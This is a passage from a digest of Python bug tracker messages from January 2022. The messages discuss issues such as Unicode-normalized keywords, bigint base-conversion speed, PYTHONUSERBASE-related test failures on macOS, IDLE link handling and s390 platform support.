string "True". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 14:09:28 2022 From: report at bugs.python.org (Eryk Sun) Date: Sun, 30 Jan 2022 19:09:28 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643569768.94.0.474033425151.issue46555@roundup.psfhosted.org> Eryk Sun added the comment: Why was it decided to not raise a syntax error when the NFKC normalization of a non-ASCII token matches a keyword? I don't see a use for cases such as `?? = 1` and `?? + 1`. It seems the cost in terms of confusion far outweighs any potential benefit. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 14:55:28 2022 From: report at bugs.python.org (Matthew Rahtz) Date: Sun, 30 Jan 2022 19:55:28 +0000 Subject: [issue46589] Improve documentation for typing._GenericAlias Message-ID: <1643572528.41.0.126032041698.issue46589@roundup.psfhosted.org> New submission from Matthew Rahtz : There's currently not much documentation in `typing.py` for `_GenericAlias`. Some fairly weird things go on in there, so it would be great to have more info in the class about what's going on and why various edge cases are necessary. ---------- components: Library (Lib) messages: 412171 nosy: matthew.rahtz priority: normal pull_requests: 29210 severity: normal status: open title: Improve documentation for typing._GenericAlias type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 15:00:15 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 30 Jan 2022 20:00:15 +0000 Subject: [issue43853] [sqlite3] Improve sqlite3_value_text() error handling In-Reply-To: <1618480809.83.0.17163581819.issue43853@roundup.psfhosted.org> Message-ID: <1643572815.86.0.645978772594.issue43853@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +29211 pull_request: https://github.com/python/cpython/pull/31030 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 15:01:02 2022 From: report at bugs.python.org (Carl Friedrich Bolz-Tereick) Date: Sun, 30 Jan 2022 20:01:02 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643572862.88.0.292682188565.issue46558@roundup.psfhosted.org> Carl Friedrich Bolz-Tereick added the comment: Somebody pointed me to V8's implementation of str(bigint) today: https://github.com/v8/v8/blob/main/src/bigint/tostring.cc They say that they can compute str(factorial(1_000_000)) (which is 5.5 million decimal digits) in 1.5s: https://twitter.com/JakobKummerow/status/1487872478076620800 As far as I understand the code (I suck at C++) they recursively split the bigint into halves using % 10^n at each recursion step, but pre-compute and cache the divisors' inverses. ---------- nosy: +Carl.Friedrich.Bolz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 15:07:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 20:07:38 +0000 Subject: [issue45990] Exception notes need more documentation In-Reply-To: <1638726549.23.0.192280798069.issue45990@roundup.psfhosted.org> Message-ID: <1643573258.7.0.893688172597.issue45990@roundup.psfhosted.org> Irit Katriel added the comment: https://www.python.org/dev/peps/pep-0678/ ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 15:40:17 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Sun, 30 Jan 2022 20:40:17 +0000 Subject: [issue46374] Assertion failed in ceval.c In-Reply-To: <1642154790.61.0.270697807965.issue46374@roundup.psfhosted.org> Message-ID: <1643575217.78.0.210159558065.issue46374@roundup.psfhosted.org> Erlend E. Aasland added the comment: Did GH-30633 fix this? Is there further work to be done? ---------- nosy: +erlendaasland status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 16:35:05 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 30 Jan 2022 21:35:05 +0000 Subject: [issue46589] Improve documentation for typing._GenericAlias In-Reply-To: <1643572528.41.0.126032041698.issue46589@roundup.psfhosted.org> Message-ID: <1643578505.2.0.332111740823.issue46589@roundup.psfhosted.org> Change by Alex Waygood : ---------- assignee: -> docs at python components: +Documentation keywords: +patch nosy: +Jelle Zijlstra, docs at python, gvanrossum, kj stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 16:57:40 2022 From: report at bugs.python.org (meow) Date: Sun, 30 Jan 2022 21:57:40 +0000 Subject: [issue46590] I suggests to modify Include/object.h in 98 line Message-ID: <1643579860.04.0.783194560429.issue46590@roundup.psfhosted.org> New submission from meow <4d656f77 at gmail.com>: before version #define Py_INVALID_SIZE (Py_ssize_t)-1 after version #define Py_INVALID_SIZE ((Py_ssize_t)-1) I think that the after version is more safety. thanks to read this request. ---------- components: C API messages: 412175 nosy: 4d656f77 priority: normal severity: normal status: open title: I suggests to modify Include/object.h in 98 line type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 16:59:44 2022 From: report at bugs.python.org (meow) Date: Sun, 30 Jan 2022 21:59:44 +0000 Subject: [issue46590] I suggests to modify Include/object.h in 98 line In-Reply-To: <1643579860.04.0.783194560429.issue46590@roundup.psfhosted.org> Message-ID: <1643579984.6.0.0921345689141.issue46590@roundup.psfhosted.org> Change by meow <4d656f77 at gmail.com>: ---------- keywords: +patch pull_requests: +29212 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31020 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 17:03:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 30 Jan 2022 22:03:43 +0000 Subject: [issue46582] Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors In-Reply-To: <1643552304.88.0.0332252948462.issue46582@roundup.psfhosted.org> Message-ID: <1643580223.43.0.680947116634.issue46582@roundup.psfhosted.org> STINNER Victor added the comment: Python 3.8 no longer accept bugfixes, I close this issue. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 17:03:54 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 30 Jan 2022 22:03:54 +0000 Subject: [issue46582] Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors In-Reply-To: <1643552304.88.0.0332252948462.issue46582@roundup.psfhosted.org> Message-ID: <1643580234.07.0.315335036051.issue46582@roundup.psfhosted.org> STINNER Victor added the comment: https://devguide.python.org/#status-of-python-branches ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 17:59:20 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 30 Jan 2022 22:59:20 +0000 Subject: [issue46571] Strange `@typing.no_type_check` behavior for class variables In-Reply-To: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> Message-ID: <1643583560.35.0.640105965387.issue46571@roundup.psfhosted.org> Guido van Rossum added the comment: Okay, somebody can submit a PR! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 18:16:56 2022 From: report at bugs.python.org (meow) Date: Sun, 30 Jan 2022 23:16:56 +0000 Subject: [issue46590] I suggests to modify Include/object.h in 98 line In-Reply-To: <1643579860.04.0.783194560429.issue46590@roundup.psfhosted.org> Message-ID: <1643584616.04.0.624946692207.issue46590@roundup.psfhosted.org> Change by meow <4d656f77 at gmail.com>: ---------- components: -C API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 18:33:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 30 Jan 2022 23:33:02 +0000 Subject: [issue35134] Add a new Include/cpython/ subdirectory for the "CPython API" with implementation details In-Reply-To: <1541076409.33.0.788709270274.issue35134@psf.upfronthosting.co.za> Message-ID: <1643585582.28.0.241659887144.issue35134@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 18:33:22 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 30 Jan 2022 23:33:22 +0000 Subject: [issue35081] Move internal headers to Include/internal/ In-Reply-To: <1540600944.05.0.788709270274.issue35081@psf.upfronthosting.co.za> Message-ID: <1643585602.2.0.831980881207.issue35081@roundup.psfhosted.org> Change by STINNER Victor : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 18:58:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 30 Jan 2022 23:58:53 +0000 Subject: [issue30393] test_readline hangs In-Reply-To: <1495057055.24.0.281941215032.issue30393@psf.upfronthosting.co.za> Message-ID: <1643587133.57.0.476585387258.issue30393@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 18:59:10 2022 From: report at bugs.python.org (meow) Date: Sun, 30 Jan 2022 23:59:10 +0000 Subject: [issue46590] I suggests to modify Include/object.h in 98 line In-Reply-To: <1643579860.04.0.783194560429.issue46590@roundup.psfhosted.org> Message-ID: <1643587150.01.0.155591533235.issue46590@roundup.psfhosted.org> Change by meow <4d656f77 at gmail.com>: ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:00:22 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 31 Jan 2022 00:00:22 +0000 Subject: [issue38295] test_relative_path of test_py_compile fails on macOS 10.15 Catalina In-Reply-To: <1569605043.98.0.657218273343.issue38295@roundup.psfhosted.org> Message-ID: <1643587222.79.0.161710298492.issue38295@roundup.psfhosted.org> Ned Deily added the comment: > Is there anything more to do here? A belated response: probably not, so I'm OK with closing this. A quick check shows that macOS behavior has changed a bit on more recent releases. On current macOS Big Sur (11.6.3) and Monterey (12.2) releases, Bo's test: $ python3 -c 'import os; open(os.path.relpath("/tmp/test.txt"), "w")' now works and Ronald's touch example now fails with a somewhat more meaningful message: $ touch ../../foo.txt touch: ../../foo.txt: Read-only file system In general, though, even on pre-APFS older macOS systems, it is still best to avoid or at least be very careful about using /tmp with any sort of relative path testing because of the linking of /tmp to /private/tmp. :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:02:31 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 00:02:31 +0000 Subject: [issue29155] test.test_spwd.TestSpwdNonRoot failure with FileNotFoundError: In-Reply-To: <1483548166.48.0.314208460749.issue29155@psf.upfronthosting.co.za> Message-ID: <1643587351.2.0.641625245011.issue29155@roundup.psfhosted.org> Irit Katriel added the comment: 3.6 is no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:24:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 00:24:53 +0000 Subject: [issue33222] Various test failures if PYTHONUSERBASE is not canonicalized In-Reply-To: <1522850404.57.0.682650639539.issue33222@psf.upfronthosting.co.za> Message-ID: <1643588693.3.0.443259099998.issue33222@roundup.psfhosted.org> Irit Katriel added the comment: I tested on a map and I only got the failure in test_s_option, which seems right because that directory is indeed not in sys.path. ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:30:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 00:30:04 +0000 Subject: [issue43320] test test_webbrowser "can't locate runnable browser" with enable-optimizations In-Reply-To: <1614260492.83.0.266852228438.issue43320@roundup.psfhosted.org> Message-ID: <1643589004.39.0.496639356093.issue43320@roundup.psfhosted.org> Irit Katriel added the comment: 3.8 is no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:37:53 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 31 Jan 2022 00:37:53 +0000 Subject: [issue33222] Various test failures if PYTHONUSERBASE is not canonicalized In-Reply-To: <1522850404.57.0.682650639539.issue33222@psf.upfronthosting.co.za> Message-ID: <1643589473.34.0.349601429296.issue33222@roundup.psfhosted.org> Ned Deily added the comment: FWIW, I still see the same failures with 3.10.2 on a current macOS 12.2 system. ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:40:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 00:40:22 +0000 Subject: [issue33222] Various test failures if PYTHONUSERBASE is not canonicalized In-Reply-To: <1522850404.57.0.682650639539.issue33222@psf.upfronthosting.co.za> Message-ID: <1643589622.2.0.982079980147.issue33222@roundup.psfhosted.org> Irit Katriel added the comment: I tested 3.11 (on a Mac 11.6). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 19:54:23 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 31 Jan 2022 00:54:23 +0000 Subject: [issue33222] Various test failures if PYTHONUSERBASE is not canonicalized In-Reply-To: <1522850404.57.0.682650639539.issue33222@psf.upfronthosting.co.za> Message-ID: <1643590463.42.0.755895765585.issue33222@roundup.psfhosted.org> Ned Deily added the comment: > I tested 3.11 (on a Mac 11.6). It still fails for me on current main HEAD (on 12.2 FWIW): $ ./configure --prefix=/tmp/p $ make -j6 $ mkdir /tmp/x $ export PYTHONUSERBASE=/tmp/x/.. $ ./python -m test -w test_site test_sysconfig Raised RLIMIT_NOFILE: 256 -> 1024 0:00:00 load avg: 0.99 Run tests sequentially 0:00:00 load avg: 0.99 [1/2] test_site test test_site failed -- multiple errors occurred; run in verbose mode for details 0:00:00 load avg: 0.99 [2/2/1] test_sysconfig -- test_site failed (2 failures) test test_sysconfig failed -- Traceback (most recent call last): File "/Users/nad/Projects/PyDev/active/dev/3x/source/Lib/test/test_sysconfig.py", line 314, in test_user_similar self.assertEqual(user_path, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: '/tmp/lib/python3.11' != '/tmp/x/../lib/python3.11' - /tmp/lib/python3.11 + /tmp/x/../lib/python3.11 ? +++++ test_sysconfig failed (1 failure) == Tests result: FAILURE == 2 tests failed: test_site test_sysconfig 0:00:00 load avg: 0.99 0:00:00 load avg: 0.99 Re-running failed tests in verbose mode 0:00:00 load avg: 0.99 Re-running test_site in verbose mode (matching: test_get_path, test_s_option) test_get_path (test.test_site.HelperFunctionsTests) ... FAIL test_s_option (test.test_site.HelperFunctionsTests) ... FAIL ====================================================================== FAIL: test_get_path (test.test_site.HelperFunctionsTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/nad/Projects/PyDev/active/dev/3x/source/Lib/test/test_site.py", line 209, in test_get_path self.assertEqual(site._get_path(site._getuserbase()), ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: '/tmp/x/../lib/python/site-packages' != '/tmp/lib/python/site-packages' - /tmp/x/../lib/python/site-packages ? ----- + /tmp/lib/python/site-packages ====================================================================== FAIL: test_s_option (test.test_site.HelperFunctionsTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/nad/Projects/PyDev/active/dev/3x/source/Lib/test/test_site.py", line 218, in test_s_option self.assertIn(usersite, sys.path) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: '/tmp/x/../lib/python3.11/site-packages' not found in ['/Users/nad/Projects/PyDev/active/dev/3x/source', '/tmp/p/lib/python311.zip', '/Users/nad/Projects/PyDev/active/dev/3x/source/Lib', '/Users/nad/Projects/PyDev/active/dev/3x/source/build/lib.macosx-12.2-x86_64-3.11', '/tmp/lib/python3.11/site-packages'] ---------------------------------------------------------------------- Ran 2 tests in 0.002s FAILED (failures=2) test test_site failed 0:00:00 load avg: 0.99 Re-running test_sysconfig in verbose mode (matching: test_user_similar) test_user_similar (test.test_sysconfig.TestSysConfig) ... FAIL ====================================================================== FAIL: test_user_similar (test.test_sysconfig.TestSysConfig) ---------------------------------------------------------------------- Traceback (most recent call last): File "/Users/nad/Projects/PyDev/active/dev/3x/source/Lib/test/test_sysconfig.py", line 314, in test_user_similar self.assertEqual(user_path, expected) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ AssertionError: '/tmp/lib/python3.11' != '/tmp/x/../lib/python3.11' - /tmp/lib/python3.11 + /tmp/x/../lib/python3.11 ? +++++ ---------------------------------------------------------------------- Ran 1 test in 0.001s FAILED (failures=1) test test_sysconfig failed 2 tests failed again: test_site test_sysconfig == Tests result: FAILURE then FAILURE == 2 tests failed: test_site test_sysconfig 2 re-run tests: test_site test_sysconfig Total duration: 350 ms Tests result: FAILURE then FAILURE ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 20:00:24 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 01:00:24 +0000 Subject: [issue33222] Various test failures if PYTHONUSERBASE is not canonicalized In-Reply-To: <1522850404.57.0.682650639539.issue33222@psf.upfronthosting.co.za> Message-ID: <1643590824.48.0.515409162096.issue33222@roundup.psfhosted.org> Irit Katriel added the comment: Maybe I did something wrong. Will check tomorrow. In the meantime I?m updating the versions. Thanks for double checking. ---------- resolution: out of date -> versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 20:15:53 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 31 Jan 2022 01:15:53 +0000 Subject: [issue46591] Make About IDLE links clickable Message-ID: <1643591753.6.0.172219328947.issue46591@roundup.psfhosted.org> New submission from Terry J. Reedy : I am opening this for a PR submitted without an issue. The PR (not yet reviewed) makes the online IDLE doc link clickable. Since a local copy of the online html page is also available on the Help menu, that link is almost unneeded. But when using the online version, one can navigate to other parts of the doc. There is also a mailto: link. For me, on Windows, wb.open("mailto:me at mail.addr") works and returns True (not documented). Is this system dependent? I have previously seen mention that 'file:' links only work on some systems. Maybe this has changed. I would like to know more before addding this. I am a bit worried about making spam easier and moderation of non-subscriber posts (by me) harder. I would only want a link on a new Report Bugs page that explained how to search bpo, with a link to its search page with component:IDLE selected, and explanation of what to include in a bug report. Before activating this, I would like to know what happens on a system where it does not work. (The doc ---------- assignee: terry.reedy components: IDLE messages: 412188 nosy: terry.reedy priority: normal severity: normal stage: patch review status: open title: Make About IDLE links clickable type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 20:19:33 2022 From: report at bugs.python.org (wesinator) Date: Mon, 31 Jan 2022 01:19:33 +0000 Subject: [issue46591] Make About IDLE links clickable In-Reply-To: <1643591753.6.0.172219328947.issue46591@roundup.psfhosted.org> Message-ID: <1643591973.24.0.0939234416607.issue46591@roundup.psfhosted.org> Change by wesinator <13hurdw at gmail.com>: ---------- keywords: +patch nosy: +wesinator nosy_count: 1.0 -> 2.0 pull_requests: +29213 pull_request: https://github.com/python/cpython/pull/30251 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 20:48:45 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 31 Jan 2022 01:48:45 +0000 Subject: [issue46540] dylibs not loading properly from NFS mounts In-Reply-To: <1643231140.7.0.949544098465.issue46540@roundup.psfhosted.org> Message-ID: <1643593725.81.0.337966744961.issue46540@roundup.psfhosted.org> Ned Deily added the comment: Thanks for the report but there are a lot of variables here that make this very difficult to act on. First, there have been many changes in macOS 10.15 regarding file permissions and file system layouts (with APFS et al) and further changes in the more recent versions of macOS, 11 Big Sur and now 12 Monterey. Further, Python 3.7 is now in the security-fix-only phase of its life cycle which means we no longer produce binary installers for macOS or Windows for 3.7. 3.7.9 was released prior to the official release of macOS 11 and so, as noted on the changelog for 3.7.9, macOS 11+ is not fully supported by 3.7.x. We have also learned more about these operating systems since then and there are changes in Python and in how we manufacture python.org macOS installers that are reflected in current releases of Python 3.9.x and 3.10.x. Beyond that, AFAIK, we do not do any testing of macOS NFS clients or servers and have no setup for that at hand. And throwing in a third-party extension module (shiboken2.abi3.so) plus use of @rpath on top of all that adds even more variability. My suggestion is to try to reproduce this with a current, fully-supported python.org macOS installer download (i.e. the 3.10.2 universal2 installer) and preferably on a current version of macOS, currently 12.2 or possibly 11.6.3, and also check "System Preferences" -> "Security & Privacy" -> "Privacy settings" like "Full Disk Access" and "Files and Folders"; if problems persist, try doing some dynamic loader debugging using the DYLD_* environment variables documented in the macOS dyld man page (man dyld). Otherwise, as your issue stands now, it seems unlikely that anyone here would be willing to invest the significant time to try to reproduce and debug what seems to be an unusual macOS configuration with out-of-date OS and Python versions. Perhaps a simpler option is to just avoid use of NFS file systems on macOS for this purpose. Sorry I don't have a more positive answer for you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 21:22:42 2022 From: report at bugs.python.org (David Foster) Date: Mon, 31 Jan 2022 02:22:42 +0000 Subject: [issue46475] typing.Never and typing.assert_never In-Reply-To: <1642891701.69.0.92347893734.issue46475@roundup.psfhosted.org> Message-ID: <1643595762.08.0.850260002281.issue46475@roundup.psfhosted.org> Change by David Foster : ---------- nosy: +David Foster _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 21:32:26 2022 From: report at bugs.python.org (Zackery Spytz) Date: Mon, 31 Jan 2022 02:32:26 +0000 Subject: [issue44977] Deprecate delegation of int to __trunc__ In-Reply-To: <1629623877.06.0.26111591106.issue44977@roundup.psfhosted.org> Message-ID: <1643596346.45.0.307076830879.issue44977@roundup.psfhosted.org> Change by Zackery Spytz : ---------- keywords: +patch nosy: +ZackerySpytz nosy_count: 3.0 -> 4.0 pull_requests: +29214 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/31031 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 21:46:16 2022 From: report at bugs.python.org (Zackery Spytz) Date: Mon, 31 Jan 2022 02:46:16 +0000 Subject: [issue44977] Deprecate delegation of int to __trunc__ In-Reply-To: <1629623877.06.0.26111591106.issue44977@roundup.psfhosted.org> Message-ID: <1643597176.36.0.187446984202.issue44977@roundup.psfhosted.org> Zackery Spytz added the comment: I have created a patch for this issue. Please consider having a look. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 23:34:35 2022 From: report at bugs.python.org (Caio Agiani) Date: Mon, 31 Jan 2022 04:34:35 +0000 Subject: [issue46588] fix typo in test_calltip.py Message-ID: <1643603675.92.0.851059607544.issue46588@roundup.psfhosted.org> Change by Caio Agiani : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 00:27:19 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 31 Jan 2022 05:27:19 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643606839.65.0.9946336645.issue46558@roundup.psfhosted.org> Tim Peters added the comment: The factorial of a million is much smaller than the case I was looking at. Here are rough timings on my box, for computing the decimal string from the bigint (and, yes, they all return the same string): native: 475 seconds (about 8 minutes) numeral: 22.3 seconds todecstr: 4.10 seconds gmp: 0.74 seconds "They recursively split the bigint into halves using % 10^n at each recursion step". That's the standard trick for "output" conversions. Beyond that, there are different ways to try to use "fat" multiplications instead of division. The recursive splitting all on its own can help, but dramatic speedups need dramatically faster multiplication. todecstr treats it as an "input" conversion instead, using the `decimal` module to work mostly _in_ base 10. That, by itself, reduces the role of division (to none at all in the Python code), and `decimal` has a more advanced multiplication algorithm than CPython's bigints have. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 01:11:48 2022 From: report at bugs.python.org (Tim Peters) Date: Mon, 31 Jan 2022 06:11:48 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643609508.12.0.187844878718.issue46558@roundup.psfhosted.org> Tim Peters added the comment: > todecstr treats it as an "input" conversion instead, ... Worth pointing this out since it doesn't seem widely known: "input" base conversions are _generally_ faster than "output" ones. Working in the destination base (or a power of it) is generally simpler. In the math.factorial(1000000) example, it takes CPython more than 3x longer for str() to convert it to base 10 than for int() to reconstruct the bigint from that string. Not an O() thing (they're both quadratic time in CPython today). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 02:03:39 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 31 Jan 2022 07:03:39 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643612619.84.0.681423016992.issue46554@roundup.psfhosted.org> Serhiy Storchaka added the comment: There is nothing wrong with writing two lines of code. And two lines of code may be more readable than one line of code. New method or parameter has a cost -- core developers need to maintain it, update documentation and tests if they conflict with new features, user will need to learn about it, remember differences between Python versions and implementations of different Path-like objects, it can be only used after dropping support of older Python versions, and it may be a source of common mistakes. If you think that it is so important to use a single call for appending to a file, you can create a module which provides functions append_text() and append_bytes(). They could be used even in Python versions older than 3.11. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 04:12:43 2022 From: report at bugs.python.org (michaellongge) Date: Mon, 31 Jan 2022 09:12:43 +0000 Subject: [issue46578] cant DEBUG os.spawnv() In-Reply-To: <1643527362.27.0.337252732186.issue46578@roundup.psfhosted.org> Message-ID: <1643620363.52.0.781449021841.issue46578@roundup.psfhosted.org> michaellongge added the comment: I can't use subprocess. Because the original problem is not that I want to use os.spawnv(). The original problem is that I go to install python3d, use setup.py install, the returned information shows that the compilation is completed, the link is also completed, and the installation is also completed. Done, but the pytorch3d folder is in the D:\Python38\Lib\site-packages\pytorch3d-0.6.1-py3.8-win-amd64.egg folder, which seems to be wrong because I moved it manually It can be used normally outside pytorch3d-0.6.1-py3.8-win-amd64.egg. (I wrote the detailed issue here [https://github.com/facebookresearch/pytorch3d/issues/1052]) So I I tried to use pycharm to debug the process. I wanted to see where the installation error was, so I encountered the problem of os.spawnv(). If you want to find the installation problem, you must first compile and link. This LIB: fatal error LNK1181: just Occurs in the link stage spawn.py (69). The strange thing is that the operation will not report an error, but DEBUG will report an error. So my salmpe code is all separated from D:\Python38\Lib\distutils\spawn.py (69), when the breakpoint stops here, rc = os.spawnv(os.P_WAIT, executable, cmd) The corresponding parameters are written in samlpe, here is another sample of mine, which can also be installed on my PC, but cannot use DEBUG for Pycharm https://github.com/michaellongge163/hellopythonextension ---------- Added file: https://bugs.python.org/file50598/20220131165155.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 05:41:50 2022 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Mon, 31 Jan 2022 10:41:50 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1643625710.29.0.584470538157.issue46407@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 768569325abc0a9cd5aae65c531889ec390847aa by Ken Jin in branch 'main': bpo-46407: Fix long_mod refleak (GH-31025) https://github.com/python/cpython/commit/768569325abc0a9cd5aae65c531889ec390847aa ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 05:45:12 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 10:45:12 +0000 Subject: [issue27954] makesetup does not take into account subdirectories In-Reply-To: <1473002143.7.0.439810404668.issue27954@psf.upfronthosting.co.za> Message-ID: <1643625912.67.0.701358179692.issue27954@roundup.psfhosted.org> Irit Katriel added the comment: Please create a new issue if this is still a problem on versions >= 3.9. ---------- resolution: -> out of date stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 06:04:09 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 11:04:09 +0000 Subject: [issue20923] [doc] Explain ConfigParser 'valid section name' and .SECTCRE In-Reply-To: <1394806905.89.0.637343755468.issue20923@psf.upfronthosting.co.za> Message-ID: <1643627049.04.0.881426901972.issue20923@roundup.psfhosted.org> Irit Katriel added the comment: The comment Terry suggests to add (see https://bugs.python.org/issue20923#msg255304) could be placed in this paragraph: https://docs.python.org/3/library/configparser.html#supported-ini-file-structure ---------- keywords: +easy nosy: +iritkatriel title: Explain ConfigParser 'valid section name' and .SECTCRE -> [doc] Explain ConfigParser 'valid section name' and .SECTCRE versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 07:02:06 2022 From: report at bugs.python.org (Florian Weimer) Date: Mon, 31 Jan 2022 12:02:06 +0000 Subject: [issue43179] Remove 31/32-bit s390 Linux support (s390-linux-gnu triplet) In-Reply-To: <1612870873.59.0.718960539942.issue43179@roundup.psfhosted.org> Message-ID: <1643630526.63.0.232096789826.issue43179@roundup.psfhosted.org> Florian Weimer added the comment: The report/justification for the removal is simply incorrect. Linux still supports s390-*-linux-gnu in user mode. The GNU toolchain is maintained, and the glibc testsuite is in good shape. Some distributions still support s390 (31-bit) applications. Others 